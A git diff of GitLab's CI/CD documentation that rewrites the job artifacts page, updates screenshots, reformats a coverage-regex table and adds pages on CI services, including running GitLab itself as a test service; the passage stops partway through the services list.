b/doc/ci/pipelines/img/job_artifacts_browser_button.png Binary files differdeleted file mode 100644 index 21072ce1248..00000000000 --- a/doc/ci/pipelines/img/job_artifacts_browser_button.png +++ /dev/null diff --git a/doc/ci/pipelines/img/job_artifacts_browser_button_v13_11.png b/doc/ci/pipelines/img/job_artifacts_browser_button_v13_11.png Binary files differnew file mode 100644 index 00000000000..710a82075ce --- /dev/null +++ b/doc/ci/pipelines/img/job_artifacts_browser_button_v13_11.png diff --git a/doc/ci/pipelines/img/job_artifacts_browser_v13_11.png b/doc/ci/pipelines/img/job_artifacts_browser_v13_11.png Binary files differnew file mode 100644 index 00000000000..6a8ea49b833 --- /dev/null +++ b/doc/ci/pipelines/img/job_artifacts_browser_v13_11.png diff --git a/doc/ci/pipelines/img/job_artifacts_builds_page.png b/doc/ci/pipelines/img/job_artifacts_builds_page.png Binary files differdeleted file mode 100644 index 13e039ba934..00000000000 --- a/doc/ci/pipelines/img/job_artifacts_builds_page.png +++ /dev/null diff --git a/doc/ci/pipelines/img/job_artifacts_jobs_page_v13_11.png b/doc/ci/pipelines/img/job_artifacts_jobs_page_v13_11.png Binary files differnew file mode 100644 index 00000000000..9f09e36b927 --- /dev/null +++ b/doc/ci/pipelines/img/job_artifacts_jobs_page_v13_11.png diff --git a/doc/ci/pipelines/img/job_artifacts_merge_request.png b/doc/ci/pipelines/img/job_artifacts_merge_request.png Binary files differdeleted file mode 100644 index e87839ceeca..00000000000 --- a/doc/ci/pipelines/img/job_artifacts_merge_request.png +++ /dev/null diff --git a/doc/ci/pipelines/img/job_artifacts_merge_request_v13_11.png b/doc/ci/pipelines/img/job_artifacts_merge_request_v13_11.png Binary files differnew file mode 100644 index 00000000000..f4b875de471 --- /dev/null +++ b/doc/ci/pipelines/img/job_artifacts_merge_request_v13_11.png diff --git a/doc/ci/pipelines/img/job_artifacts_pipelines_page.png b/doc/ci/pipelines/img/job_artifacts_pipelines_page.png Binary files differdeleted file mode 100644 index 983f903ca72..00000000000 --- a/doc/ci/pipelines/img/job_artifacts_pipelines_page.png +++ /dev/null diff --git a/doc/ci/pipelines/img/job_artifacts_pipelines_page_v13_11.png b/doc/ci/pipelines/img/job_artifacts_pipelines_page_v13_11.png Binary files differnew file mode 100644 index 00000000000..c7b0b91d488 --- /dev/null +++ b/doc/ci/pipelines/img/job_artifacts_pipelines_page_v13_11.png diff --git a/doc/ci/pipelines/img/pipelines_v13_11.png b/doc/ci/pipelines/img/pipelines_v13_11.png Binary files differnew file mode 100644 index 00000000000..8981f4ce860 --- /dev/null +++ b/doc/ci/pipelines/img/pipelines_v13_11.png diff --git a/doc/ci/pipelines/index.md b/doc/ci/pipelines/index.md index c2fcbbcf72f..6d013a43583 100644 --- a/doc/ci/pipelines/index.md +++ b/doc/ci/pipelines/index.md @@ -133,8 +133,8 @@ operation of the pipeline. To execute a pipeline manually: 1. Navigate to your project's **CI/CD > Pipelines**. -1. Select the **Run Pipeline** button. -1. On the **Run Pipeline** page: +1. Select the **Run pipeline** button. +1. On the **Run pipeline** page: 1. Select the branch or tag to run the pipeline for in the **Run for branch name or tag** field. 1. Enter any [environment variables](../variables/README.md) required for the pipeline run. You can set specific variables to have their [values prefilled in the form](#prefill-variables-in-manual-pipelines). @@ -332,10 +332,12 @@ GitLab capitalizes the stages' names in the pipeline graphs. ### Regular pipeline graphs +> - [Visualization improved](https://gitlab.com/gitlab-org/gitlab/-/issues/276949) in GitLab 13.11. + Regular pipeline graphs show the names of the jobs in each stage. Regular pipeline graphs can be found when you are on a [single pipeline page](#view-pipelines). For example: - + [Multi-project pipeline graphs](../multi_project_pipelines.md#multi-project-pipeline-visualization) help you visualize the entire pipeline, including all cross-project inter-dependencies. **(PREMIUM)** diff --git a/doc/ci/pipelines/job_artifacts.md b/doc/ci/pipelines/job_artifacts.md index cf8e4e71534..fa97f9bd75d 100644 --- a/doc/ci/pipelines/job_artifacts.md +++ b/doc/ci/pipelines/job_artifacts.md @@ -8,25 +8,21 @@ type: reference, howto # Job artifacts -> - Introduced in GitLab 8.2 and GitLab Runner 0.7.0. -> - Starting with GitLab 8.4 and GitLab Runner 1.0, the artifacts archive format changed to `ZIP`, and it's now possible to browse its contents, with the added ability of downloading the files separately. -> - In GitLab 8.17, builds were renamed to jobs. -> - The artifacts browser is available only for new artifacts that are sent to GitLab using GitLab Runner version 1.0 and up. You cannot browse old artifacts already uploaded to GitLab. +> Introduced in [GitLab 12.4](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/16675), artifacts in internal and private projects can be previewed when [GitLab Pages access control](../../administration/pages/index.md#access-control) is enabled. -Job artifacts are a list of files and directories created by a job -once it finishes. This feature is [enabled by default](../../administration/job_artifacts.md) in all -GitLab installations. +Jobs can output an archive of files and directories. This output is known as a job artifact. -Job artifacts created by GitLab Runner are uploaded to GitLab and are downloadable as a single archive using the GitLab UI or the [GitLab API](../../api/job_artifacts.md#get-job-artifacts). +You can download job artifacts by using the GitLab UI or the [API](../../api/job_artifacts.md#get-job-artifacts). <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> -For an overview, watch the video [GitLab CI Pipeline, Artifacts, and Environments](https://www.youtube.com/watch?v=PCKDICEe10s). -Watch also [GitLab CI pipeline tutorial for beginners](https://www.youtube.com/watch?v=Jav4vbUrqII). +For an overview of job artifacts, watch the video [GitLab CI pipelines, artifacts, and environments](https://www.youtube.com/watch?v=PCKDICEe10s). +Or, for an introduction, watch [GitLab CI pipeline tutorial for beginners](https://www.youtube.com/watch?v=Jav4vbUrqII). -## Defining artifacts in `.gitlab-ci.yml` +For administrator information about job artifact storage, see [administering job artifacts](../../administration/job_artifacts.md). -A simple example of using the artifacts definition in `.gitlab-ci.yml` would be -the following: +## Create job artifacts + +To create job artifacts, use the `artifacts` keyword in your `.gitlab-ci.yml` file: ```yaml pdf: @@ -37,376 +33,120 @@ pdf: expire_in: 1 week ``` -A job named `pdf` calls the `xelatex` command to build a PDF file from the -latex source file `mycv.tex`. We then define the `artifacts` paths which in -turn are defined with the `paths` keyword. All paths to files and directories -are relative to the repository that was cloned during the build. - -By default, the artifacts upload when the job succeeds. You can also set artifacts to upload -when the job fails, or always, by using [`artifacts:when`](../yaml/README.md#artifactswhen) -keyword. GitLab keeps these uploaded artifacts for 1 week, as defined -by the `expire_in` definition. You can keep the artifacts from expiring -via the [web interface](#browsing-artifacts). If the expiry time is not defined, it defaults -to the [instance wide setting](../../user/admin_area/settings/continuous_integration.md#default-artifacts-expiration). - -For more examples on artifacts, follow the [artifacts reference in -`.gitlab-ci.yml`](../yaml/README.md#artifacts). - -### `artifacts:reports` - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/20390) in GitLab 11.2. -> - Requires GitLab Runner 11.2 and above. - -The `artifacts:reports` keyword is used for collecting test reports, code quality -reports, and security reports from jobs. It also exposes these reports in the GitLab -UI (merge requests, pipeline views, and security dashboards). - -The test reports are collected regardless of the job results (success or failure). -You can use [`artifacts:expire_in`](../yaml/README.md#artifactsexpire_in) to set up an expiration -date for their artifacts. - -If you also want the ability to browse the report output files, include the -[`artifacts:paths`](../yaml/README.md#artifactspaths) keyword. - -#### `artifacts:reports:junit` - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/20390) in GitLab 11.2. -> - Requires GitLab Runner 11.2 and above. - -The `junit` report collects [JUnit report format XML files](https://www.ibm.com/support/knowledgecenter/en/SSQ2R2_14.1.0/com.ibm.rsar.analysis.codereview.cobol.doc/topics/cac_useresults_junit.html) -as artifacts. Although JUnit was originally developed in Java, there are many -third party ports for other -languages like JavaScript, Python, Ruby, and so on. - -See [Unit test reports](../unit_test_reports.md) for more details and examples. -Below is an example of collecting a JUnit report format XML file from Ruby's RSpec test tool: - -```yaml -rspec: - stage: test - script: - - bundle install - - rspec --format RspecJunitFormatter --out rspec.xml - artifacts: - reports: - junit: rspec.xml -``` - -The collected Unit test reports upload to GitLab as an artifact and display in merge requests. - -If the JUnit tool you use exports to multiple XML files, specify -multiple test report paths within a single job to -concatenate them into a single file. Use a filename pattern (`junit: rspec-*.xml`), -an array of filenames (`junit: [rspec-1.xml, rspec-2.xml, rspec-3.xml]`), or a -combination thereof (`junit: [rspec.xml, test-results/TEST-*.xml]`). - -#### `artifacts:reports:dotenv` - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/17066) in GitLab 12.9. -> - Requires GitLab Runner 11.5 and later. - -The `dotenv` report collects a set of environment variables as artifacts. - -The collected variables are registered as runtime-created variables of the job, -which is useful to [set dynamic environment URLs after a job finishes](../environments/index.md#set-dynamic-environment-urls-after-a-job-finishes). - -There are a couple of exceptions to the [original dotenv rules](https://github.com/motdotla/dotenv#rules): - -- The variable key can contain only letters, digits, and underscores (`_`). -- The maximum size of the `.env` file is 5 KB. -- In GitLab 13.5 and older, the maximum number of inherited variables is 10. -- In [GitLab 13.6 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/247913), - the maximum number of inherited variables is 20. -- Variable substitution in the `.env` file is not supported. -- The `.env` file can't have empty lines or comments (starting with `#`). -- Key values in the `env` file cannot have spaces or newline characters (`\n`), including when using single or double quotes. -- Quote escaping during parsing (`key = 'value'` -> `{key: "value"}`) is not supported. - -#### `artifacts:reports:cobertura` - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3708) in GitLab 12.9. -> - Requires [GitLab Runner](https://docs.gitlab.com/runner/) 11.5 and above. - -The `cobertura` report collects [Cobertura coverage XML files](../../user/project/merge_requests/test_coverage_visualization.md). -The collected Cobertura coverage reports upload to GitLab as an artifact -and display in merge requests. - -Cobertura was originally developed for Java, but there are many -third party ports for other languages like JavaScript, Python, Ruby, and so on. - -#### `artifacts:reports:terraform` - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/207528) in GitLab 13.0. -> - Requires [GitLab Runner](https://docs.gitlab.com/runner/) 11.5 and above. +In this example, a job named `pdf` calls the `xelatex` command to build a PDF file from the +LaTeX source file, `mycv.tex`. -The `terraform` report obtains a Terraform `tfplan.json` file. [JQ processing required to remove credentials](../../user/infrastructure/mr_integration.md#setup). The collected Terraform -plan report uploads to GitLab as an artifact and displays -in merge requests. For more information, see -[Output `terraform plan` information into a merge request](../../user/infrastructure/mr_integration.md). +The `paths` keyword determines which files to add to the job artifacts. +All paths to files and directories are relative to the repository where the job was created. -#### `artifacts:reports:codequality` +The `expire_in` keyword determines how long GitLab keeps the job artifacts. +You can also [use the UI to keep job artifacts from expiring](#download-job-artifacts). +If `expire_in` is not defined, the +[instance-wide setting](../../user/admin_area/settings/continuous_integration.md#default-artifacts-expiration) +is used. -> - Introduced in [GitLab Starter](https://about.gitlab.com/pricing/) 11.5. -> - Made [available in all tiers](https://gitlab.com/gitlab-org/gitlab/-/issues/212499) in GitLab 13.2. -> - Requires GitLab Runner 11.5 and above. +If you run two types of pipelines (like branch and scheduled) for the same ref, +the pipeline that finishes later creates the job artifact. -The `codequality` report collects [Code Quality issues](../../user/project/merge_requests/code_quality.md) -as artifacts. +For more examples, view the [keyword reference for the `.gitlab-ci.yml` file](../yaml/README.md#artifacts). -The collected Code Quality report uploads to GitLab as an artifact and is summarized in merge requests. +## Download job artifacts -#### `artifacts:reports:sast` +You can download job artifacts or view the job archive: -> - Introduced in GitLab 11.5. -> - Made [available in all tiers](https://gitlab.com/groups/gitlab-org/-/epics/2098) in GitLab 13.3. -> - Requires GitLab Runner 11.5 and above. +- On the **Pipelines** page, to the right of the pipeline: -The `sast` report collects [SAST vulnerabilities](../../user/application_security/sast/index.md) -as artifacts. +  -The collected SAST report uploads to GitLab as an artifact and is summarized -in merge requests and the pipeline view. It's also used to provide data for security -dashboards. +- On the **Jobs** page, to the right of the job: -#### `artifacts:reports:secret_detection` +  -> - Introduced in GitLab 13.1. -> - Made [available in all tiers](https://gitlab.com/gitlab-org/gitlab/-/issues/222788) in GitLab - 13.3. -> - Requires GitLab Runner 11.5 and above. +- On a job's detail page. The **Keep** button indicates an `expire_in` value was set: -The `secret-detection` report collects [detected secrets](../../user/application_security/secret_detection/index.md) -as artifacts. +  -The collected Secret Detection report is uploaded to GitLab as an artifact and summarized -in the merge requests and pipeline view. It's also used to provide data for security -dashboards. +- On a merge request, by the pipeline details: -#### `artifacts:reports:dependency_scanning` **(ULTIMATE)** +  -> - Introduced in GitLab 11.5. -> - Requires GitLab Runner 11.5 and above. +- When browsing an archive: -The `dependency_scanning` report collects [Dependency Scanning vulnerabilities](../../user/application_security/dependency_scanning/index.md) -as artifacts. +  -The collected Dependency Scanning report uploads to GitLab as an artifact and is summarized in merge requests and the pipeline view. It's also used to provide data for security -dashboards. + If [GitLab Pages](../../administration/pages/index.md) is enabled in the project, you can preview + HTML files in the artifacts directly in your browser. If the project is internal or private, you must + enable [GitLab Pages access control](../../administration/pages/index.md#access-control) to preview + HTML files. -#### `artifacts:reports:container_scanning` **(ULTIMATE)** +## View failed job artifacts -> - Introduced in GitLab 11.5. -> - Requires GitLab Runner 11.5 and above. - -The `container_scanning` report collects [Container Scanning vulnerabilities](../../user/application_security/container_scanning/index.md) -as artifacts. - -The collected Container Scanning report uploads to GitLab as an artifact and -is summarized in merge requests and the pipeline view. It's also used to provide data for security -dashboards. - -#### `artifacts:reports:dast` **(ULTIMATE)** - -> - Introduced in GitLab 11.5. -> - Requires GitLab Runner 11.5 and above. - -The `dast` report collects [DAST vulnerabilities](../../user/application_security/dast/index.md) -as artifacts. - -The collected DAST report uploads to GitLab as an artifact and is summarized in merge requests and the pipeline view. It's also used to provide data for security -dashboards. - -#### `artifacts:reports:api_fuzzing` **(ULTIMATE)** - -> - Introduced in GitLab 13.4. -> - Requires GitLab Runner 13.4 or later. - -The `api_fuzzing` report collects [API Fuzzing bugs](../../user/application_security/api_fuzzing/index.md) -as artifacts. - -The collected API Fuzzing report uploads to GitLab as an artifact and is summarized in merge -requests and the pipeline view. It's also used to provide data for security dashboards. - -#### `artifacts:reports:coverage_fuzzing` **(ULTIMATE)** - -> - Introduced in GitLab 13.4. -> - Requires GitLab Runner 13.4 or later. - -The `coverage_fuzzing` report collects [coverage fuzzing bugs](../../user/application_security/coverage_fuzzing/index.md) -as artifacts. - -The collected coverage fuzzing report uploads to GitLab as an artifact and is summarized in merge -requests and the pipeline view. It's also used to provide data for security dashboards. +If the latest job has failed to upload the artifacts, you can see that +information in the UI. -#### `artifacts:reports:license_management` **(ULTIMATE)** + -> - Introduced in GitLab 11.5. -> - Requires GitLab Runner 11.5 and above. +## Delete job artifacts WARNING: -This artifact is still valid but is **deprecated** in favor of the -[artifacts:reports:license_scanning](../pipelines/job_artifacts.md#artifactsreportslicense_scanning) -introduced in GitLab 12.8. - -The `license_management` report collects [Licenses](../../user/compliance/license_compliance/index.md) -as artifacts. - -The collected License Compliance report uploads to GitLab as an artifact and is summarized in merge requests and the pipeline view. It's also used to provide data for security -dashboards. - -#### `artifacts:reports:license_scanning` **(ULTIMATE)** - -> - Introduced in GitLab 12.8. -> - Requires GitLab Runner 11.5 and above. - -The `license_scanning` report collects [Licenses](../../user/compliance/license_compliance/index.md) -as artifacts. - -The License Compliance report uploads to GitLab as an artifact and displays automatically in merge requests and the pipeline view, and provide data for security -dashboards. - -#### `artifacts:reports:performance` **(PREMIUM)** - -> - Introduced in GitLab 11.5. -> - Requires GitLab Runner 11.5 and above. - -The `performance` report collects [Browser Performance Testing metrics](../../user/project/merge_requests/browser_performance_testing.md) -as artifacts. - -The collected Browser Performance report uploads to GitLab as an artifact and displays in merge requests. - -#### `artifacts:reports:load_performance` **(PREMIUM)** - -> - Introduced in [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35260) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.2. -> - Requires GitLab Runner 11.5 and above. - -The `load_performance` report collects [Load Performance Testing metrics](../../user/project/merge_requests/load_performance_testing.md) -as artifacts. - -The report is uploaded to GitLab as an artifact and is -shown in merge requests automatically. - -#### `artifacts:reports:metrics` **(PREMIUM)** - -> Introduced in GitLab 11.10. - -The `metrics` report collects [Metrics](../metrics_reports.md) -as artifacts. - -The collected Metrics report uploads to GitLab as an artifact and displays in merge requests. - -#### `artifacts:reports:requirements` **(ULTIMATE)** - -> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2859) in GitLab 13.1. -> - Requires GitLab Runner 11.5 and above. - -The `requirements` report collects `requirements.json` files as artifacts. - -The collected Requirements report uploads to GitLab as an artifact and -existing [requirements](../../user/project/requirements/index.md) are -marked as Satisfied. - -## Browsing artifacts - -> - From GitLab 9.2, PDFs, images, videos, and other formats can be previewed directly in the job artifacts browser without the need to download them. -> - Introduced in [GitLab 10.1](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/14399), HTML files in a public project can be previewed directly in a new tab without the need to download them when [GitLab Pages](../../administration/pages/index.md) is enabled. The same applies for textual formats (currently supported extensions: `.txt`, `.json`, and `.log`). -> - Introduced in [GitLab 12.4](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/16675), artifacts in internal and private projects can be previewed when [GitLab Pages access control](../../administration/pages/index.md#access-control) is enabled. - -After a job finishes, if you visit the job's specific page, there are three -buttons. You can download the artifacts archive or browse its contents, whereas -the **Keep** button appears only if you've set an [expiry date](../yaml/README.md#artifactsexpire_in) to the -artifacts in case you changed your mind and want to keep them. - - - -The archive browser shows the name and the actual file size of each file in the -archive. If your artifacts contained directories, then you're also able to -browse inside them. - -Below you can see what browsing looks like. In this case we have browsed inside -the archive and at this point there is one directory, a couple files, and -one HTML file that you can view directly online when -[GitLab Pages](../../administration/pages/index.md) is enabled (opens in a new tab). -Select artifacts in internal and private projects can only be previewed when -[GitLab Pages access control](../../administration/pages/index.md#access-control) is enabled. - - - -## Downloading artifacts - -If you need to download an artifact or the whole archive, there are buttons in various places -in the GitLab UI to do this: - -1. While on the pipelines page, you can see the download icon for each job's - artifacts and archive in the right corner: - -  - -1. While on the **Jobs** page, you can see the download icon for each job's - artifacts and archive in the right corner: - -  - -1. While inside a specific job, you're presented with a download button - along with the one that browses the archive: - -  +This is a destructive action that leads to data loss. Use with caution. -1. While on the details page of a merge request, you can see the download - icon for each job's artifacts on the right side of the merge request widget: +You can delete a single job, which also removes the job's +artifacts and log. You must be: -  +- The owner of the job. +- A [maintainer](../../user/permissions.md#gitlab-cicd-permissions) of the project. -1. And finally, when browsing an archive you can see the download button at - the top right corner: +To delete a job: -  +1. Go to a job's detail page. +1. At the top right of the job's log, select the trash icon. +1. Confirm the deletion. -## Downloading the latest artifacts +## Retrieve job artifacts for other projects -It's possible to download the latest artifacts of a job via a well known URL -so you can use it for scripting purposes. +To retrieve a job artifact from a different project, you might need to use a +private token to [authenticate and download](../../api/job_artifacts.md#get-job-artifacts) +the artifact. -NOTE: -The latest artifacts are created by jobs in the **most recent** successful pipeline -for the specific ref. If you run two types of pipelines for the same ref, timing determines the latest -artifact. For example, if a merge request creates a branch pipeline at the same time as a scheduled pipeline, the pipeline that completed most recently creates the latest artifact. +## How searching for job artifacts works In [GitLab 13.5](https://gitlab.com/gitlab-org/gitlab/-/issues/201784) and later, artifacts for [parent and child pipelines](../parent_child_pipelines.md) are searched in hierarchical order from parent to child. For example, if both parent and child pipelines have a -job with the same name, the artifact from the parent pipeline is returned. +job with the same name, the job artifact from the parent pipeline is returned. -Artifacts for other pipelines can be accessed with direct access to them. +## Access the latest job artifacts by URL -The structure of the URL to download the whole artifacts archive is the following: +You can download the latest job artifacts by using a URL. + +To download the whole artifacts archive: ```plaintext https://example.com/<namespace>/<project>/-/jobs/artifacts/<ref>/download?job=<job_name> ``` -To download a single file from the artifacts use the following URL: +To download a single file from the artifacts: ```plaintext https://example.com/<namespace>/<project>/-/jobs/artifacts/<ref>/raw/<path_to_file>?job=<job_name> ``` -For example, to download the latest artifacts of the job named `coverage` of -the `master` branch of the `gitlab` project that belongs to the `gitlab-org` -namespace, the URL would be: +For example, to download the latest artifacts of the job named `coverage` in +the `main` branch of the `gitlab` project in the `gitlab-org` +namespace: ```plaintext -https://gitlab.com/gitlab-org/gitlab/-/jobs/artifacts/master/download?job=coverage +https://gitlab.com/gitlab-org/gitlab/-/jobs/artifacts/main/download?job=coverage ``` -To download the file `coverage/index.html` from the same -artifacts use the following URL: +To download the file `coverage/index.html` from the same artifacts: ```plaintext https://gitlab.com/gitlab-org/gitlab/-/jobs/artifacts/master/raw/coverage/index.html?job=coverage ``` -There is also a URL to browse the latest job artifacts: +To browse the latest job artifacts: ```plaintext https://example.com/<namespace>/<project>/-/jobs/artifacts/<ref>/browse?job=<job_name> @@ -418,97 +158,51 @@ For example: https://gitlab.com/gitlab-org/gitlab/-/jobs/artifacts/master/browse?job=coverage ``` -There is also a URL to specific files, including HTML files that +To download specific files, including HTML files that are shown in [GitLab Pages](../../administration/pages/index.md): ```plaintext https://example.com/<namespace>/<project>/-/jobs/artifacts/<ref>/file/<path>?job=<job_name> ``` -For example, when a job `coverage` creates the artifact `htmlcov/index.html`, -you can access it at: +For example, when a job `coverage` creates the artifact `htmlcov/index.html`: ```plaintext https://gitlab.com/gitlab-org/gitlab/-/jobs/artifacts/master/file/htmlcov/index.html?job=coverage ``` -The latest builds are also exposed in the UI in various places. Specifically, -look for the download button in: - -- The main project's page -- The branches page -- The tags page - -If the latest job has failed to upload the artifacts, you can see that -information in the UI. - - - -## Erasing artifacts - -WARNING: -This is a destructive action that leads to data loss. Use with caution. - -You can erase a single job via the UI, which also removes the job's -artifacts and trace, if you are: - -- The owner of the job. -- A [Maintainer](../../user/permissions.md#gitlab-cicd-permissions) of the project. - -To erase a job: +## When job artifacts are deleted -1. Navigate to a job's page. -1. Click the trash icon at the top right of the job's trace. -1. Confirm the deletion. - -## Retrieve artifacts of private projects when using GitLab CI - -To retrieve a job artifact from a different project, you might need to use a -private token to [authenticate and download](../../api/job_artifacts.md#get-job-artifacts) -the artifact. +By default, the latest job artifacts from the most recent successful jobs are never deleted. +If a job is configured with [`expire_in`](../yaml/README.md#artifactsexpire_in), +its artifacts only expire if a more recent artifact exists. -## Keep artifacts from most recent successful jobs +### Keep artifacts from most recent successful jobs > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/16267) in GitLab 13.0. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/229936) in GitLab 13.4. > - [Made optional with a CI/CD setting](https://gitlab.com/gitlab-org/gitlab/-/issues/241026) in GitLab 13.8. -By default, the latest artifacts from the most recent successful jobs are never deleted. -If a job is configured with [`expire_in`](../yaml/README.md#artifactsexpire_in), -its artifacts only expire if a more recent artifact exists. - Keeping the latest artifacts can use a large amount of storage space in projects with a lot of jobs or large artifacts. If the latest artifacts are not needed in a project, you can disable this behavior to save space: -1. Navigate to **Settings > CI/CD > Artifacts**. -1. Uncheck **Keep artifacts from most recent successful jobs**. +1. Go to the project's **Settings > CI/CD > Artifacts**. +1. Clear the **Keep artifacts from most recent successful jobs** checkbox. You can disable this behavior for all projects on a self-managed instance in the -[instance's CI/CD settings](../../user/admin_area/settings/continuous_integration.md#keep-the-latest-artifacts-for-all-jobs-in-the-latest-successful-pipelines). **(CORE ONLY)** +[instance's CI/CD settings](../../user/admin_area/settings/continuous_integration.md#keep-the-latest-artifacts-for-all-jobs-in-the-latest-successful-pipelines). When you disable the feature, the latest artifacts do not immediately expire. A new pipeline must run before the latest artifacts can expire and be deleted. -## Troubleshooting +## Troubleshooting job artifacts ### Error message `No files to upload` -This is often preceded by other errors or warnings that specify the filename and why it wasn't -generated in the first place. Please check the entire job log for such messages. +This message is often preceded by other errors or warnings that specify the filename and why it wasn't +generated. Check the job log for these messages. -If you find no helpful messages, please retry the failed job after activating +If you find no helpful messages, retry the failed job after activating [CI/CD debug logging](../variables/README.md#debug-logging). -This provides useful information to investigate further. - -<!-- ## Troubleshooting - -Include any troubleshooting steps that you can foresee. If you know beforehand what issues -one might have when setting this up, or when something is changed, or on upgrading, it's -important to describe those, too. Think of things that may go wrong and include them here. -This is important to minimize requests for support, and to avoid doc comments with -questions that you know someone might ask. - -Each scenario can be a third-level heading, e.g. `### Getting error message X`. -If you have none to add when creating a doc, leave this section in place -but commented out to help encourage others to add to it in the future. --> +This logging should provide information to help you investigate further. diff --git a/doc/ci/pipelines/settings.md b/doc/ci/pipelines/settings.md index e607bae53bd..31e42a2cb68 100644 --- a/doc/ci/pipelines/settings.md +++ b/doc/ci/pipelines/settings.md @@ -137,21 +137,19 @@ averaged. <!-- vale gitlab.Spelling = NO --> -| Coverage Tool | Sample regular expression | -|------------------------------------------------|-----------------------------------------------| -| Simplecov (Ruby) | `\(\d+.\d+\%\) covered` | -| pytest-cov (Python) | `^TOTAL.+?(\d+\%)$` | -| Scoverage (Scala) | `Statement coverage[A-Za-z\.*]\s*:\s*([^%]+)` | -| `phpunit --coverage-text --colors=never` (PHP) | `^\s*Lines:\s*\d+.\d+\%` | -| gcovr (C/C++) | `^TOTAL.*\s+(\d+\%)$` | -| `tap --coverage-report=text-summary` (NodeJS) | `^Statements\s*:\s*([^%]+)` | -| `nyc npm test` (NodeJS) | `All files[^|]*\|[^|]*\s+([\d\.]+)` | -| excoveralls (Elixir) | `\[TOTAL\]\s+(\d+\.\d+)%` | -| `mix test --cover` (Elixir) | `\d+.\d+\%\s+\|\s+Total` | -| JaCoCo (Java/Kotlin) | `Total.*?([0-9]{1,3})%` | -| `go test -cover` (Go) | `coverage: \d+.\d+% of statements` | -| .Net (OpenCover) | `(Visited Points).*\((.*)\)` | -| .Net (`dotnet test` line coverage) | `Total\s*\|\s*(\d+\.?\d+)` | +- Simplecov (Ruby). Example: `\(\d+.\d+\%\) covered`. +- pytest-cov (Python). Example: `^TOTAL.+?(\d+\%)$`. +- Scoverage (Scala). Example: `Statement coverage[A-Za-z\.*]\s*:\s*([^%]+)`. +- `phpunit --coverage-text --colors=never` (PHP). Example: `^\s*Lines:\s*\d+.\d+\%`. +- gcovr (C/C++). Example: `^TOTAL.*\s+(\d+\%)$`. +- `tap --coverage-report=text-summary` (NodeJS). Example: `^Statements\s*:\s*([^%]+)`. +- `nyc npm test` (NodeJS). Example: `All files[^|]*\|[^|]*\s+([\d\.]+)`. +- excoveralls (Elixir). Example: `\[TOTAL\]\s+(\d+\.\d+)%`. +- `mix test --cover` (Elixir). Example: `\d+.\d+\%\s+\|\s+Total`. +- JaCoCo (Java/Kotlin). Example: `Total.*?([0-9]{1,3})%`. +- `go test -cover` (Go). Example: `coverage: \d+.\d+% of statements`. +- .Net (OpenCover). Example: `(Visited Points).*\((.*)\)`. +- .Net (`dotnet test` line coverage). Example: `Total\s*\|\s*(\d+\.?\d+)`. <!-- vale gitlab.Spelling = YES --> diff --git a/doc/ci/quick_start/index.md b/doc/ci/quick_start/index.md index 664523a08e4..d20a0f0d4a1 100644 --- a/doc/ci/quick_start/index.md +++ b/doc/ci/quick_start/index.md @@ -161,4 +161,4 @@ To view your pipeline:  -If the job status is `stuck`, check to ensure a runner is probably configured for the project. +If the job status is `stuck`, check to ensure a runner is properly configured for the project. diff --git a/doc/ci/secrets/index.md b/doc/ci/secrets/index.md index eac72bc7351..d140344b40d 100644 --- a/doc/ci/secrets/index.md +++ b/doc/ci/secrets/index.md @@ -114,7 +114,7 @@ In this example: After GitLab fetches the secret from Vault, the value is saved in a temporary file. The path to this file is stored in a CI/CD variable named `DATABASE_PASSWORD`, -similar to [variables of type `file`](../variables/README.md#custom-cicd-variables-of-type-file). +similar to [variables of type `file`](../variables/README.md#cicd-variable-types). For more information about the supported syntax, read the [`.gitlab-ci.yml` reference](../yaml/README.md#secretsvault). diff --git a/doc/ci/services/gitlab.md b/doc/ci/services/gitlab.md new file mode 100644 index 00000000000..8a582cc87eb --- /dev/null +++ b/doc/ci/services/gitlab.md @@ -0,0 +1,40 @@ +--- +stage: Verify +group: Runner +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +type: reference +--- + +# Use GitLab as a microservice + +Many applications need to access JSON APIs, so application tests might need access +to APIs too. The following example shows how to use GitLab as a microservice to give +tests access to the GitLab API. + +1. Configure a [runner](../runners/README.md) with the Docker or Kubernetes executor. +1. In your `.gitlab-ci.yml` add: + + ```yaml + services: + - name: gitlab/gitlab-ce:latest + alias: gitlab + + variables: + GITLAB_HTTPS: "false" # ensure that plain http works + GITLAB_ROOT_PASSWORD: "password" # to access the api with user root:password + ``` + +1. To set values for the `GITLAB_HTTPS` and `GITLAB_ROOT_PASSWORD`, + [assign them to a variable in the user interface](../variables/README.md#project-cicd-variables). + Then assign that variable to the corresponding variable in your + `.gitlab-ci.yml` file. + +Then, commands in `script:` sections in your `.gitlab-ci.yml` file can access the API at `http://gitlab/api/v4`. + +For more information about why `gitlab` is used for the `Host`, see +[How services are linked to the job](../docker/using_docker_images.md#extended-docker-configuration-options). + +You can also use any other Docker image available on [Docker Hub](https://hub.docker.com/u/gitlab). + +The `gitlab` image can accept environment variables. For more details, +see the [Omnibus documentation](../../install/README.md). diff --git a/doc/ci/services/index.md b/doc/ci/services/index.md index 71c2be70de3..8d603b17e2e 100644 --- a/doc/ci/services/index.md +++ b/doc/ci/services/index.md @@ -6,16 +6,376 @@ comments: false type: index --- -# GitLab CI services examples +# Services -The [`services`](../docker/using_docker_images.md#what-is-a-service) -keyword defines a Docker image that runs during a `job` linked to the -Docker image that the image keyword defines. This allows you to access -the service image during build time. +The `services` keyword defines a Docker image that runs during a `job` +linked to the Docker image that the image keyword defines. This allows +you to access the service image during build time. The service image can run any application, but the most common use case is to run a database container, for example: -- [Using MySQL](mysql.md) -- [Using PostgreSQL](postgres.md) -- [Using Redis](redis.md) +- [MySQL](mysql.md) +- 